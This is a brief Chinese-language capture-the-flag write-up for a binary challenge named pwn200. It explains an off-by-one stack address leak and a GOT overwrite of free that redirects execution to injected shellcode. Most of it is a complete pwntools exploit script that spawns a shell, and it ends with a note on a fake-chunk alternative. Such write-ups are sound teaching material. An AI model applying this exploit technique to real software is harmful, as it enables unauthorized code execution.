这里这个dest指针我们是可以改变的
这里有off by one 输入48个字节之后,printf能把后面的字节给打印出来
这个是上一个的栈帧
看了博客有两种方法
通过这个rbp我们可以知道shellcode的地址
如果说我们把dest这个指针改为freegot,然后通过strcpy函数将shellcode复制给freegot的地址就相当于把one_gadget写进了free_got函数
唯一要注意的就是这个函数,strcpy函数”\x00”一定要加我们要截断一些内容
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./pwn200')
elf =ELF("./pwn200")
#io = remote('node4.buuoj.cn',25935)
free_got = elf.got["free"]
shellcode = (asm(shellcraft.sh()))
io.recvuntil("who are u?")
gdb.attach(io,"b *0x400b06")
pause()
io.send(shellcode)
rbp_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("rbp_addr------>"+hex(rbp_addr))
shellcode_addr = rbp_addr -80
print("shellcode_addr-------------->"+hex(shellcode_addr))
io.recvuntil("give me your id ~~?")
io.sendline("1")
io.recvuntil("give me money~")
payload = p64(shellcode_addr)+b"\x00"*(0x38-8)+p64(free_got)
# gdb.attach(io,"b *0x0000000000400A5A")
# pause()
io.send(payload)
io.recvuntil("your choice : ")
io.sendline("2")
io.interactive()
还有种方法就是我们要在栈上构造一个假的的堆块,然后劫持ret_address为shellcode的地址